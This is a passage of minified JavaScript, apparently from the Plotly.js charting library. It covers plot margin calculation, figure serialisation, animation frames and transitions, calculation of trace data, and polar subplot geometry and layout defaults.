Be=Fe[Oe][Ce];oe[Ce]=Math.max(oe[Ce],Be)}ke.base={l:{val:0,size:le},r:{val:1,size:pe},t:{val:1,size:we},b:{val:0,size:xe}};for(var $e in oe){var Xe=0;for(var Ze in ke)Ze!=="base"&&L(ke[Ze][$e].size)&&(Xe=ke[Ze][$e].size>Xe?ke[Ze][$e].size:Xe);var Ke=Math.max(0,K[$e]-Xe);oe[$e]=Math.max(0,oe[$e]-Ke)}for(var st in ke){var lt=ke[st].l||{},ut=ke[st].b||{},yt=lt.val,bt=lt.size,Ot=ut.val,Ge=ut.size,Le=Q-oe.r-oe.l,Pe=ie-oe.t-oe.b;for(var De in ke){if(L(bt)&&ke[De].r){var Ee=ke[De].r.val,ye=ke[De].r.size;if(Ee>yt){var ae=(bt*Ee+(ye-Le)*yt)/(Ee-yt),de=(ye*(1-yt)+(bt-Le)*(1-Ee))/(Ee-yt);ae+de>le+pe&&(le=ae,pe=de)}}if(L(Ge)&&ke[De].t){var Me=ke[De].t.val,Ie=ke[De].t.size;if(Me>Ot){var Qe=(Ge*Me+(Ie-Pe)*Ot)/(Me-Ot),et=(Ie*(1-Ot)+(Ge-Pe)*(1-Me))/(Me-Ot);Qe+et>xe+we&&(xe=Qe,we=et)}}}}}var pt=t.constrain(Q-K.l-K.r,O,be),St=t.constrain(ie-K.t-K.b,z,ge),_t=Math.max(0,Q-pt),Ft=Math.max(0,ie-St);if(_t){var Tt=(le+pe)/_t;Tt>1&&(le/=Tt,pe/=Tt)}if(Ft){var Gt=(xe+we)/Ft;Gt>1&&(xe/=Gt,we/=Gt)}if(j.l=Math.round(le)+oe.l,j.r=Math.round(pe)+oe.r,j.t=Math.round(we)+oe.t,j.b=Math.round(xe)+oe.b,j.p=Math.round(K.pad),j.w=Math.round(Q)-j.l-j.r,j.h=Math.round(ie)-j.t-j.b,!Y._replotting&&(i.didMarginChange(re,j)||N(V))){"_redrawFromAutoMarginCount"in Y?Y._redrawFromAutoMarginCount++:Y._redrawFromAutoMarginCount=1;var er=3*(1+Object.keys(_e).length);if(Y._redrawFromAutoMarginCount<er)return S.call("_doPlot",V);Y._size=re,t.warn("Too many auto-margin redraws.")}G(V)};function G(V){var Y=a.list(V,"",!0);["_adjustTickLabelsOverflow","_hideCounterAxisInsideTickLabels"].forEach(function(Q){for(var ie=0;ie<Y.length;ie++){var j=Y[ie][Q];j&&j()}})}var J=["l","r","t","b","p","w","h"];i.didMarginChange=function(V,Y){for(var Q=0;Q<J.length;Q++){var ie=J[Q],j=V[ie],K=Y[ie];if(!L(j)||Math.abs(K-j)>1)return!0}return!1},i.graphJson=function(V,Y,Q,ie,j,K){(j&&Y&&!V._fullData||j&&!Y&&!V._fullLayout)&&i.supplyDefaults(V);var oe=j?V._fullData:V.data,re=j?V._fullLayout:V.layout,le=(V._transitionData||{})._frames;function pe(ke,_e){if(typeof ke=="function")return _e?"_function_":null;if(t.isPlainObject(ke)){var be={},ge;return Object.keys(ke).sort().forEach(function(Te){if(["_","["].indexOf(Te.charAt(0))===-1){if(typeof ke[Te]=="function"){_e&&(be[Te]="_function");return}if(Q==="keepdata"){if(Te.substr(Te.length-3)==="src")return}else if(Q==="keepstream"){if(ge=ke[Te+"src"],typeof ge=="string"&&ge.indexOf(":")>0&&!t.isPlainObject(ke.stream))return}else if(Q!=="keepall"&&(ge=ke[Te+"src"],typeof ge=="string"&&ge.indexOf(":")>0))return;be[Te]=pe(ke[Te],_e)}}),be}return Array.isArray(ke)?ke.map(function(Te){return pe(Te,_e)}):t.isTypedArray(ke)?t.simpleMap(ke,t.identity):t.isJSDate(ke)?t.ms2DateTimeLocal(+ke):ke}var we={data:(oe||[]).map(function(ke){var _e=pe(ke);return Y&&delete _e.fit,_e})};if(!Y&&(we.layout=pe(re),j)){var xe=re._size;we.layout.computed={margin:{b:xe.b,l:xe.l,r:xe.r,t:xe.t}}}return le&&(we.frames=pe(le)),K&&(we.config=pe(V._context,!0)),ie==="object"?we:JSON.stringify(we)},i.modifyFrames=function(V,Y){var Q,ie,j,K=V._transitionData._frames,oe=V._transitionData._frameHash;for(Q=0;Q<Y.length;Q++)switch(ie=Y[Q],ie.type){case"replace":j=ie.value;var re=(K[ie.index]||{}).name,le=j.name;K[ie.index]=oe[le]=j,le!==re&&(delete oe[re],oe[le]=j);break;case"insert":j=ie.value,oe[j.name]=j,K.splice(ie.index,0,j);break;case"delete":j=K[ie.index],delete oe[j.name],K.splice(ie.index,1);break}return Promise.resolve()},i.computeFrame=function(V,Y){var Q=V._transitionData._frameHash,ie,j,K,oe;if(!Y)throw new Error("computeFrame must be given a string frame name");var re=Q[Y.toString()];if(!re)return!1;for(var le=[re],pe=[re.name];re.baseframe&&(re=Q[re.baseframe.toString()])&&pe.indexOf(re.name)===-1;)le.push(re),pe.push(re.name);for(var we={};re=le.pop();)if(re.layout&&(we.layout=i.extendLayout(we.layout,re.layout)),re.data){if(we.data||(we.data=[]),j=re.traces,!j)for(j=[],ie=0;ie<re.data.length;ie++)j[ie]=ie;for(we.traces||(we.traces=[]),ie=0;ie<re.data.length;ie++)K=j[ie],K!=null&&(oe=we.traces.indexOf(K),oe===-1&&(oe=we.data.length,we.traces[oe]=K),we.data[oe]=i.extendTrace(we.data[oe],re.data[ie]))}return we},i.recomputeFrameHash=function(V){for(var Y=V._transitionData._frameHash={},Q=V._transitionData._frames,ie=0;ie<Q.length;ie++){var j=Q[ie];j&&j.name&&(Y[j.name]=j)}},i.extendObjectWithContainers=function(V,Y,Q){var ie,j,K,oe,re,le,pe,we,xe=t.extendDeepNoArrays({},Y||{}),ke=t.expandObjectPaths(xe),_e={};if(Q&&Q.length)for(K=0;K<Q.length;K++)ie=t.nestedProperty(ke,Q[K]),j=ie.get(),j===void 0?t.nestedProperty(_e,Q[K]).set(null):(ie.set(null),t.nestedProperty(_e,Q[K]).set(j));if(V=t.extendDeepNoArrays(V||{},ke),Q&&Q.length){for(K=0;K<Q.length;K++)if(re=t.nestedProperty(_e,Q[K]),pe=re.get(),!!pe){for(le=t.nestedProperty(V,Q[K]),we=le.get(),Array.isArray(we)||(we=[],le.set(we)),oe=0;oe<pe.length;oe++){var be=pe[oe];be===null?we[oe]=null:we[oe]=i.extendObjectWithContainers(we[oe],be)}le.set(we)}}return V},i.dataArrayContainers=["transforms","dimensions"],i.layoutArrayContainers=S.layoutArrayContainers,i.extendTrace=function(V,Y){return i.extendObjectWithContainers(V,Y,i.dataArrayContainers)},i.extendLayout=function(V,Y){return i.extendObjectWithContainers(V,Y,i.layoutArrayContainers)},i.transition=function(V,Y,Q,ie,j,K){var oe={redraw:j.redraw},re={},le=[];return oe.prepareFn=function(){for(var pe=Array.isArray(Y)?Y.length:0,we=ie.slice(0,pe),xe=0;xe<we.length;xe++){var ke=we[xe],_e=V._fullData[ke],be=_e._module;if(be){if(be.animatable){var ge=be.basePlotModule.name;re[ge]||(re[ge]=[]),re[ge].push(ke)}V.data[we[xe]]=i.extendTrace(V.data[we[xe]],Y[xe])}}var Te=t.expandObjectPaths(t.extendDeepNoArrays({},Q)),Fe=/^[xy]axis[0-9]*$/;for(var Oe in Te)Fe.test(Oe)&&delete Te[Oe].range;i.extendLayout(V.layout,Te),delete V.calcdata,i.supplyDefaults(V),i.doCalcdata(V);var Ce=t.expandObjectPaths(Q);if(Ce){var Be=V._fullLayout._plots;for(var $e in Be){var Xe=Be[$e],Ze=Xe.xaxis,Ke=Xe.yaxis,st=Ze.range.slice(),lt=Ke.range.slice(),ut=null,yt=null,bt=null,Ot=null;Array.isArray(Ce[Ze._name+".range"])?ut=Ce[Ze._name+".range"].slice():Array.isArray((Ce[Ze._name]||{}).range)&&(ut=Ce[Ze._name].range.slice()),Array.isArray(Ce[Ke._name+".range"])?yt=Ce[Ke._name+".range"].slice():Array.isArray((Ce[Ke._name]||{}).range)&&(yt=Ce[Ke._name].range.slice()),st&&ut&&(Ze.r2l(st[0])!==Ze.r2l(ut[0])||Ze.r2l(st[1])!==Ze.r2l(ut[1]))&&(bt={xr0:st,xr1:ut}),lt&&yt&&(Ke.r2l(lt[0])!==Ke.r2l(yt[0])||Ke.r2l(lt[1])!==Ke.r2l(yt[1]))&&(Ot={yr0:lt,yr1:yt}),(bt||Ot)&&le.push(t.extendFlat({plotinfo:Xe},bt,Ot))}}return Promise.resolve()},oe.runFn=function(pe){var we,xe=V._fullLayout._basePlotModules,ke=le.length,_e;if(Q)for(_e=0;_e<xe.length;_e++)xe[_e].transitionAxes&&xe[_e].transitionAxes(V,le,K,pe);ke?(we=t.extendFlat({},K),we.duration=0,delete re.cartesian):we=K;for(var be in re){var ge=re[be],Te=V._fullData[ge[0]]._module;Te.basePlotModule.plot(V,ge,we,pe)}},q(V,K,oe)},i.transitionFromReact=function(V,Y,Q,ie){var j=V._fullLayout,K=j.transition,oe={},re=[];return oe.prepareFn=function(){var le=j._plots;oe.redraw=!1,Y.anim==="some"&&(oe.redraw=!0),Q.anim==="some"&&(oe.redraw=!0);for(var pe in le){var we=le[pe],xe=we.xaxis,ke=we.yaxis,_e=ie[xe._name].range.slice(),be=ie[ke._name].range.slice(),ge=xe.range.slice(),Te=ke.range.slice();xe.setScale(),ke.setScale();var Fe=null,Oe=null;(xe.r2l(_e[0])!==xe.r2l(ge[0])||xe.r2l(_e[1])!==xe.r2l(ge[1]))&&(Fe={xr0:_e,xr1:ge}),(ke.r2l(be[0])!==ke.r2l(Te[0])||ke.r2l(be[1])!==ke.r2l(Te[1]))&&(Oe={yr0:be,yr1:Te}),(Fe||Oe)&&re.push(t.extendFlat({plotinfo:we},Fe,Oe))}return Promise.resolve()},oe.runFn=function(le){for(var pe=V._fullData,we=V._fullLayout,xe=we._basePlotModules,ke,_e,be,ge=[],Te=0;Te<pe.length;Te++)ge.push(Te);function Fe(){if(V._fullLayout)for(var Ce=0;Ce<xe.length;Ce++)xe[Ce].transitionAxes&&xe[Ce].transitionAxes(V,re,ke,le)}function Oe(){if(V._fullLayout)for(var Ce=0;Ce<xe.length;Ce++)xe[Ce].plot(V,be,_e,le)}re.length&&Y.anim?K.ordering==="traces first"?(ke=t.extendFlat({},K,{duration:0}),be=ge,_e=K,setTimeout(Fe,K.duration),Oe()):(ke=K,be=null,_e=t.extendFlat({},K,{duration:0}),setTimeout(Oe,ke.duration),Fe()):re.length?(ke=K,Fe()):Y.anim&&(be=ge,_e=K,Oe())},q(V,K,oe)};function q(V,Y,Q){var ie=!1;function j(xe){var ke=Promise.resolve();if(!xe)return ke;for(;xe.length;)ke=ke.then(xe.shift());return ke}function K(xe){if(xe)for(;xe.length;)xe.shift()}function oe(){return V.emit("plotly_transitioning",[]),new Promise(function(xe){V._transitioning=!0,Y.duration>0&&(V._transitioningWithDuration=!0),V._transitionData._interruptCallbacks.push(function(){ie=!0}),Q.redraw&&V._transitionData._interruptCallbacks.push(function(){return S.call("redraw",V)}),V._transitionData._interruptCallbacks.push(function(){V.emit("plotly_transitioninterrupted",[])});var ke=0,_e=0;function be(){return ke++,function(){_e++,!ie&&_e===ke&&re(xe)}}Q.runFn(be),setTimeout(be())})}function re(xe){if(V._transitionData)return K(V._transitionData._interruptCallbacks),Promise.resolve().then(function(){if(Q.redraw)return S.call("redraw",V)}).then(function(){V._transitioning=!1,V._transitioningWithDuration=!1,V.emit("plotly_transitioned",[])}).then(xe)}function le(){if(V._transitionData)return V._transitioning=!1,j(V._transitionData._interruptCallbacks)}var pe=[i.previousPromises,le,Q.prepareFn,i.rehover,i.reselect,oe],we=t.syncOrAsync(pe,V);return(!we||!we.then)&&(we=Promise.resolve()),we.then(function(){return V})}i.doCalcdata=function(V,Y){var Q=a.list(V),ie=V._fullData,j=V._fullLayout,K,oe,re,le,pe=new Array(ie.length),we=(V.calcdata||[]).slice();for(V.calcdata=pe,j._numBoxes=0,j._numViolins=0,j._violinScaleGroupStats={},V._hmpixcount=0,V._hmlumcount=0,j._piecolormap={},j._sunburstcolormap={},j._treemapcolormap={},j._iciclecolormap={},j._funnelareacolormap={},re=0;re<ie.length;re++)if(Array.isArray(Y)&&Y.indexOf(re)===-1){pe[re]=we[re];continue}for(re=0;re<ie.length;re++)K=ie[re],K._arrayAttrs=d.findArrayAttributes(K),K._extremes={};var xe=j._subplots.polar||[];for(re=0;re<xe.length;re++)Q.push(j[xe[re]].radialaxis,j[xe[re]].angularaxis);for(var ke in j._colorAxes){var _e=j[ke];_e.cauto!==!1&&(delete _e.cmin,delete _e.cmax)}var be=!1;function ge(Oe){if(K=ie[Oe],oe=K._module,K.visible===!0&&K.transforms){if(oe&&oe.calc){var Ce=oe.calc(V,K);Ce[0]&&Ce[0].t&&Ce[0].t._scene&&delete Ce[0].t._scene.dirty}for(le=0;le<K.transforms.length;le++){var Be=K.transforms[le];oe=v[Be.type],oe&&oe.calcTransform&&(K._hasCalcTransform=!0,be=!0,oe.calcTransform(V,K,Be))}}}function Te(Oe,Ce){if(K=ie[Oe],oe=K._module,!!oe.isContainer===Ce){var Be=[];if(K.visible===!0&&K._length!==0){delete K._indexToPoints;var $e=K.transforms||[];for(le=$e.length-1;le>=0;le--)if($e[le].enabled){K._indexToPoints=$e[le]._indexToPoints;break}oe&&oe.calc&&(Be=oe.calc(V,K))}(!Array.isArray(Be)||!Be[0])&&(Be=[{x:f,y:f}]),Be[0].t||(Be[0].t={}),Be[0].trace=K,pe[Oe]=Be}}for(X(Q,ie,j),re=0;re<ie.length;re++)Te(re,!0);for(re=0;re<ie.length;re++)ge(re);for(be&&X(Q,ie,j),re=0;re<ie.length;re++)Te(re,!0);for(re=0;re<ie.length;re++)Te(re,!1);W(V);var Fe=fe(Q,V);if(Fe.length){for(j._numBoxes=0,j._numViolins=0,re=0;re<Fe.length;re++)Te(Fe[re],!0);for(re=0;re<Fe.length;re++)Te(Fe[re],!1);W(V)}S.getComponentMethod("fx","calc")(V),S.getComponentMethod("errorbars","calc")(V)};var ne=/(total|sum|min|max|mean|median) (ascending|descending)/;function fe(V,Y){var Q=[],ie,j,K,oe,re;function le(Le,Pe,De){var Ee=Pe._id.charAt(0);if(Le==="histogram2dcontour"){var ye=Pe._counterAxes[0],ae=a.getFromId(Y,ye),de=Ee==="x"||ye==="x"&&ae.type==="category",Me=Ee==="y"||ye==="y"&&ae.type==="category";return function(Ie,Qe){return Ie===0||Qe===0||de&&Ie===De[Qe].length-1||Me&&Qe===De.length-1?-1:(Ee==="y"?Qe:Ie)-1}}else return function(Ie,Qe){return Ee==="y"?Qe:Ie}}var pe={min:function(Le){return t.aggNums(Math.min,null,Le)},max:function(Le){return t.aggNums(Math.max,null,Le)},sum:function(Le){return t.aggNums(function(Pe,De){return Pe+De},null,Le)},total:function(Le){return t.aggNums(function(Pe,De){return Pe+De},null,Le)},mean:function(Le){return t.mean(Le)},median:function(Le){return t.median(Le)}};for(ie=0;ie<V.length;ie++){var we=V[ie];if(we.type==="category"){var xe=we.categoryorder.match(ne);if(xe){var ke=xe[1],_e=xe[2],be=we._id.charAt(0),ge=be==="x",Te=[];for(j=0;j<we._categories.length;j++)Te.push([we._categories[j],[]]);for(j=0;j<we._traceIndices.length;j++){var Fe=we._traceIndices[j],Oe=Y._fullData[Fe];if(Oe.visible===!0){var Ce=Oe.type;S.traceIs(Oe,"histogram")&&(delete Oe._xautoBinFinished,delete Oe._yautoBinFinished);var Be=Ce==="splom",$e=Ce==="scattergl",Xe=Y.calcdata[Fe];for(K=0;K<Xe.length;K++){var Ze=Xe[K],Ke,st;if(Be){var lt=Oe._axesDim[we._id];if(!ge){var ut=Oe._diag[lt][0];ut&&(we=Y._fullLayout[a.id2name(ut)])}var yt=Ze.trace.dimensions[lt].values;for(oe=0;oe<yt.length;oe++)for(Ke=we._categoriesMap[yt[oe]],re=0;re<Ze.trace.dimensions.length;re++)if(re!==lt){var bt=Ze.trace.dimensions[re];Te[Ke][1].push(bt.values[oe])}}else if($e){for(oe=0;oe<Ze.t.x.length;oe++)ge?(Ke=Ze.t.x[oe],st=Ze.t.y[oe]):(Ke=Ze.t.y[oe],st=Ze.t.x[oe]),Te[Ke][1].push(st);Ze.t&&Ze.t._scene&&delete Ze.t._scene.dirty}else if(Ze.hasOwnProperty("z")){st=Ze.z;var Ot=le(Oe.type,we,st);for(oe=0;oe<st.length;oe++)for(re=0;re<st[oe].length;re++)Ke=Ot(re,oe),Ke+1&&Te[Ke][1].push(st[oe][re])}else for(Ke=Ze.p,Ke===void 0&&(Ke=Ze[be]),st=Ze.s,st===void 0&&(st=Ze.v),st===void 0&&(st=ge?Ze.y:Ze.x),Array.isArray(st)||(st===void 0?st=[]:st=[st]),oe=0;oe<st.length;oe++)Te[Ke][1].push(st[oe])}}}we._categoriesValue=Te;var Ge=[];for(j=0;j<Te.length;j++)Ge.push([Te[j][0],pe[ke](Te[j][1])]);Ge.sort(function(Le,Pe){return Le[1]-Pe[1]}),we._categoriesAggregatedValue=Ge,we._initialCategories=Ge.map(function(Le){return Le[0]}),_e==="descending"&&we._initialCategories.reverse(),Q=Q.concat(we.sortByInitialCategories())}}}return Q}function X(V,Y,Q){var ie={};function j(le){le.clearCalc(),le.type==="multicategory"&&le.setupMultiCategory(Y),ie[le._id]=1}t.simpleMap(V,j);for(var K=Q._axisMatchGroups||[],oe=0;oe<K.length;oe++)for(var re in K[oe])ie[re]||j(Q[a.id2name(re)])}function W(V){var Y=V._fullLayout,Q=Y._visibleModules,ie={},j,K,oe;for(K=0;K<Q.length;K++){var re=Q[K],le=re.crossTraceCalc;if(le){var pe=re.basePlotModule.name;ie[pe]?t.pushUnique(ie[pe],le):ie[pe]=[le]}}for(oe in ie){var we=ie[oe],xe=Y._subplots[oe];if(Array.isArray(xe))for(j=0;j<xe.length;j++){var ke=xe[j],_e=oe==="cartesian"?Y._plots[ke]:Y[ke];for(K=0;K<we.length;K++)we[K](V,_e,ke)}else for(K=0;K<we.length;K++)we[K](V)}}i.rehover=function(V){V._fullLayout._rehover&&V._fullLayout._rehover()},i.redrag=function(V){V._fullLayout._redrag&&V._fullLayout._redrag()},i.reselect=function(V){var Y=V._fullLayout,Q=(V.layout||{}).selections,ie=Y._previousSelections;Y._previousSelections=Q;var j=Y._reselect||JSON.stringify(Q)!==JSON.stringify(ie);S.getComponentMethod("selections","reselect")(V,j)},i.generalUpdatePerTraceModule=function(V,Y,Q,ie){var j=Y.traceHash,K={},oe;for(oe=0;oe<Q.length;oe++){var re=Q[oe],le=re[0].trace;le.visible&&(K[le.type]=K[le.type]||[],K[le.type].push(re))}for(var pe in j)if(!K[pe]){var we=j[pe][0],xe=we[0].trace;xe.visible=!1,K[pe]=[we]}for(var ke in K){var _e=K[ke],be=_e[0][0].trace._module;be.plot(V,Y,t.filterVisible(_e),ie)}Y.traceHash=K},i.plotBasePlot=function(V,Y,Q,ie,j){var K=S.getModule(V),oe=c(Y.calcdata,K)[0];K.plot(Y,oe,ie,j)},i.cleanBasePlot=function(V,Y,Q,ie,j){var K=j._has&&j._has(V),oe=Q._has&&Q._has(V);K&&!oe&&j["_"+V+"layer"].selectAll("g.trace").remove()}},9813:function(te){te.exports={attr:"subplot",name:"polar",axisNames:["angularaxis","radialaxis"],axisName2dataArray:{angularaxis:"theta",radialaxis:"r"},layerNames:["draglayer","plotbg","backplot","angular-grid","radial-grid","frontplot","angular-line","radial-line","angular-axis","radial-axis"],radialDragBoxSize:50,angularDragBoxSize:30,cornerLen:25,cornerHalfWidth:2,MINDRAG:8,MINZOOM:20,OFFEDGE:20}},10869:function(te,Z,e){var M=e(71828),P=e(61082).tester,o=M.findIndexOfMin,L=M.isAngleInsideSector,S=M.angleDelta,d=M.angleDist;function g(i,v,T,w,E){if(!L(v,w))return!1;var p,A;T[0]<T[1]?(p=T[0],A=T[1]):(p=T[1],A=T[0]);var m=P(l(p,w[0],w[1],E)),n=P(l(A,w[0],w[1],E)),C=[i*Math.cos(v),i*Math.sin(v)];return n.contains(C)&&!m.contains(C)}function t(i,v,T,w){var E,p,A=w[0],m=w[1],n=y(Math.sin(v)-Math.sin(i)),C=y(Math.cos(v)-Math.cos(i)),x=Math.tan(T),I=y(1/x),k=n/C,B=m-k*A;return I?n&&C?(E=B/(x-k),p=x*E):C?(E=m*I,p=m):(E=A,p=A*x):n&&C?(E=0,p=B):C?(E=0,p=m):E=p=NaN,[E,p]}function r(i,v,T,w){var E=-v*T,p=v*v+1,A=2*(v*E-T),m=E*E+T*T-i*i,n=Math.sqrt(A*A-4*p*m),C=(-A+n)/(2*p),x=(-A-n)/(2*p);return[[C,v*C+E+w],[x,v*x+E+w]]}function f(i,v){var T=v.length,w=new Array(T+1),E;for(E=0;E<T;E++){var p=v[E];w[E]=[i*Math.cos(p),i*Math.sin(p)]}return w[E]=w[0].slice(),w}function a(i,v,T,w){var E=w.length,p=[],A,m;function n(z){return[i*Math.cos(z),i*Math.sin(z)]}function C(z,N,G){return t(z,N,G,n(z))}function x(z){return M.mod(z,E)}function I(z){return L(z,[v,T])}var k=o(w,function(z){return I(z)?d(z,v):1/0}),B=C(w[k],w[x(k-1)],v);for(p.push(B),A=k,m=0;m<E;A++,m++){var _=w[x(A)];if(!I(_))break;p.push(n(_))}var F=o(w,function(z){return I(z)?d(z,T):1/0}),O=C(w[F],w[x(F+1)],T);return p.push(O),p.push([0,0]),p.push(p[0].slice()),p}function l(i,v,T,w){return M.isFullCircle([v,T])?f(i,w):a(i,v,T,w)}function u(i,v,T,w){for(var E=1/0,p=1/0,A=l(i,v,T,w),m=0;m<A.length;m++){var n=A[m];E=Math.min(E,n[0]),p=Math.min(p,-n[1])}return[E,p]}function s(i,v){var T=function(p){var A=S(p,i);return A>0?A:1/0},w=o(v,T),E=M.mod(w+1,v.length);return[v[w],v[E]]}function y(i){return Math.abs(i)>1e-10?i:0}function c(i,v,T){v=v||0,T=T||0;for(var w=i.length,E=new Array(w),p=0;p<w;p++){var A=i[p];E[p]=[v+A[0],T-A[1]]}return E}function b(i,v,T,w,E,p){var A=l(i,v,T,w);return"M"+c(A,E,p).join("L")}function h(i,v,T,w,E,p,A){var m,n;i<v?(m=i,n=v):(m=v,n=i);var C=c(l(m,T,w,E),p,A),x=c(l(n,T,w,E),p,A);return"M"+x.reverse().join("L")+"M"+C.join("L")}te.exports={isPtInsidePolygon:g,findPolygonOffset:u,findEnclosingVertexAngles:s,findIntersectionXY:t,findXYatLength:r,clampTiny:y,pathPolygon:b,pathPolygonAnnulus:h}},23580:function(te,Z,e){var M=e(27659).AU,P=e(71828).counterRegex,o=e(77997),L=e(9813),S=L.attr,d=L.name,g=P(d),t={};t[S]={valType:"subplotid",dflt:d,editType:"calc"};function r(a){for(var l=a._fullLayout,u=a.calcdata,s=l._subplots[d],y=0;y<s.length;y++){var c=s[y],b=M(u,d,c),h=l[c]._subplot;h||(h=o(a,c),l[c]._subplot=h),h.plot(b,l,a._promises)}}function f(a,l,u,s){for(var y=s._subplots[d]||[],c=s._has&&s._has("gl"),b=l._has&&l._has("gl"),h=c&&!b,i=0;i<y.length;i++){var v=y[i],T=s[v]._subplot;if(!l[v]&&T){T.framework.remove(),T.layers["radial-axis-title"].remove();for(var w in T.clipPaths)T.clipPaths[w].remove()}h&&T._scene&&(T._scene.destroy(),T._scene=null)}}te.exports={attr:S,name:d,idRoot:d,idRegex:g,attrRegex:g,attributes:t,layoutAttributes:e(73812),supplyLayoutDefaults:e(68993),plot:r,clean:f,toSVG:e(93612).toSVG}},73812:function(te,Z,e){var M=e(22399),P=e(13838),o=e(27670).Y,L=e(71828).extendFlat,S=e(30962).overrideAll,d=S({color:P.color,showline:L({},P.showline,{dflt:!0}),linecolor:P.linecolor,linewidth:P.linewidth,showgrid:L({},P.showgrid,{dflt:!0}),gridcolor:P.gridcolor,gridwidth:P.gridwidth,griddash:P.griddash},"plot","from-root"),g=S({tickmode:P.minor.tickmode,nticks:P.nticks,tick0:P.tick0,dtick:P.dtick,tickvals:P.tickvals,ticktext:P.ticktext,ticks:P.ticks,ticklen:P.ticklen,tickwidth:P.tickwidth,tickcolor:P.tickcolor,ticklabelstep:P.ticklabelstep,showticklabels:P.showticklabels,labelalias:P.labelalias,showtickprefix:P.showtickprefix,tickprefix:P.tickprefix,showticksuffix:P.showticksuffix,ticksuffix:P.ticksuffix,showexponent:P.showexponent,exponentformat:P.exponentformat,minexponent:P.minexponent,separatethousands:P.separatethousands,tickfont:P.tickfont,tickangle:P.tickangle,tickformat:P.tickformat,tickformatstops:P.tickformatstops,layer:P.layer},"plot","from-root"),t={visible:L({},P.visible,{dflt:!0}),type:L({},P.type,{values:["-","linear","log","date","category"]}),autotypenumbers:P.autotypenumbers,autorange:L({},P.autorange,{editType:"plot"}),rangemode:{valType:"enumerated",values:["tozero","nonnegative","normal"],dflt:"tozero",editType:"calc"},range:L({},P.range,{items:[{valType:"any",editType:"plot",impliedEdits:{"^autorange":!1}},{valType:"any",editType:"plot",impliedEdits:{"^autorange":!1}}],editType:"plot"}),categoryorder:P.categoryorder,categoryarray:P.categoryarray,angle:{valType:"angle",editType:"plot"},side:{valType:"enumerated",values:["clockwise","counterclockwise"],dflt:"clockwise",editType:"plot"},title:{text:L({},P.title.text,{editType:"plot",dflt:""}),font:L({},P.title.font,{editType:"plot"}),editType:"plot"},hoverformat:P.hoverformat,uirevision:{valType:"any",editType:"none"},editType:"calc",_deprecated:{title:P._deprecated.title,titlefont:P._deprecated.titlefont}};L(t,d,g);var r={visible:L({},P.visible,{dflt:!0}),type:{valType:"enumerated",values:["-","linear","category"],dflt:"-",editType:"calc",_noTemplating:!0},autotypenumbers:P.autotypenumbers,categoryorder:P.categoryorder,categoryarray:P.categoryarray,thetaunit:{valType:"enumerated",values:["radians","degrees"],dflt:"degrees",editType:"calc"},period:{valType:"number",editType:"calc",min:0},direction:{valType:"enumerated",values:["counterclockwise","clockwise"],dflt:"counterclockwise",editType:"calc"},rotation:{valType:"angle",editType:"calc"},hoverformat:P.hoverformat,uirevision:{valType:"any",editType:"none"},editType:"calc"};L(r,d,g),te.exports={domain:o({name:"polar",editType:"plot"}),sector:{valType:"info_array",items:[{valType:"number",editType:"plot"},{valType:"number",editType:"plot"}],dflt:[0,360],editType:"plot"},hole:{valType:"number",min:0,max:1,dflt:0,editType:"plot"},bgcolor:{valType:"color",editType:"plot",dflt:M.background},radialaxis:t,angularaxis:r,gridshape:{valType:"enumerated",values:["circular","linear"],dflt:"circular",editType:"plot"},uirevision:{valType:"any",editType:"none"},editType:"calc"}},68993:function(te,Z,e){var M=e(71828),P=e(7901),o=e(44467),L=e(49119),S=e(27659).NG,d=e(26218),g=e(38701),t=e(96115),r=e(89426),f=e(15258),a=e(92128),l=e(4322),u=e(73812),s=e(12101),y=e(9813),c=y.axisNames;function b(i,v,T,w){var E=T("bgcolor");w.bgColor=P.combine(E,w.paper_bgcolor);var p=T("sector");T("hole");var A=S(w.fullData,y.name,w.id),m=w.layoutOut,n;function C(X,W){return T(n+"."+X,W)}for(var x=0;x<c.length;x++){n=c[x],M.isPlainObject(i[n])||(i[n]={});var I=i[n],k=o.newContainer(v,n);k._id=k._name=n,k._attr=w.id+"."+n,k._traceIndices=A.map(function(X){return X._expandedIndex});var B=y.axisName2dataArray[n],_=h(I,k,C,A,B,w);f(I,k,C,{axData:A,dataAttr:B});var F=C("visible");switch(s(k,v,m),C("uirevision",v.uirevision),k._m=1,n){case"radialaxis":var O=C("autorange",!k.isValidRange(I.range));I.autorange=O,O&&(_==="linear"||_==="-")&&C("rangemode"),O==="reversed"&&(k._m=-1),C("range"),k.cleanRange("range",{dfltRange:[0,1]});break;case"angularaxis":if(_==="date"){M.log("Polar plots do not support date angular axes yet.");for(var z=0;z<A.length;z++)A[z].visible=!1;_=I.type=k.type="linear"}C(_==="linear"?"thetaunit":"period");var N=C("direction");C("rotation",{counterclockwise:0,clockwise:90}[N]);break}if(r(I,k,C,k.type,{tickSuffixDflt:k.thetaunit==="degrees"?"°":void 0}),F){var G,J,q,ne,fe=w.font||{};G=C("color"),J=G===I.color?G:fe.color,q=fe.size,ne=fe.family,d(I,k,C,k.type),t(I,k,C,k.type,{font:{color:J,size:q,family:ne}}),g(I,k,C,{outerTicks:!0}),a(I,k,C,{dfltColor:G,bgColor:w.bgColor,blend:60,showLine:!0,showGrid:!0,noZeroLine:!0,attributes:u[n]}),C("layer"),n==="radialaxis"&&(C("side"),C("angle",p[0]),C("title.text"),M.coerceFont(C,"title.font",{color:J,size:M.bigFont(q),family:ne}))}_!=="category"&&C("hoverformat"),k._input=I}v.angularaxis.type==="category"&&T("gridshape")}function h(i,v,T,w,E,p){var A=T("autotypenumbers",p.autotypenumbersDflt),m=T("type");if(m==="-"){for(var n,C=0;C<w.length;C++)if(w[C].visible){n=w[C];break}n&&n[E]&&(v.type=l(n[E],"gregorian",{noMultiCategory:!0,autotypenumbers:A})),v.type==="-"?v.type="linear":i.type=v.type}return v.type}te.exports=function(v,T,w){L(v,T,w,{type:y.name,attributes:u,handleDefaults:b,font:T.font,autotypenumbersDflt:T.autotypenumbers,paper_bgcolor:T.paper_bgcolor,fullData:w,layoutOut:T})}},77997:function(te,Z,e){var M=e(39898),P=e(84267),o=e(73972),L=e(71828),S=L.strRotate,d=L.strTranslate,g=e(7901),t=e(91424),r=e(74875),f=e(89298),a=e(21994),l=e(12101),u=e(71739).doAutoRange,s=e(29323),y=e(28569),c=e(30211),b=e(92998),h=e(47322).prepSelect,i=e(47322).selectOnClick,v=e(47322).clearOutline,T=e(6964),w=e(33306),E=e(61549).redrawReglTraces,p=e(18783).MID_SHIFT,A=e(9813),m=e(10869),n=e(23893),C=n.smith,x=n.reactanceArc,I=n.resistanceArc,k=n.smithTransform,B=L._,_=L.mod,F=L.deg2rad,O=L.rad2deg;function 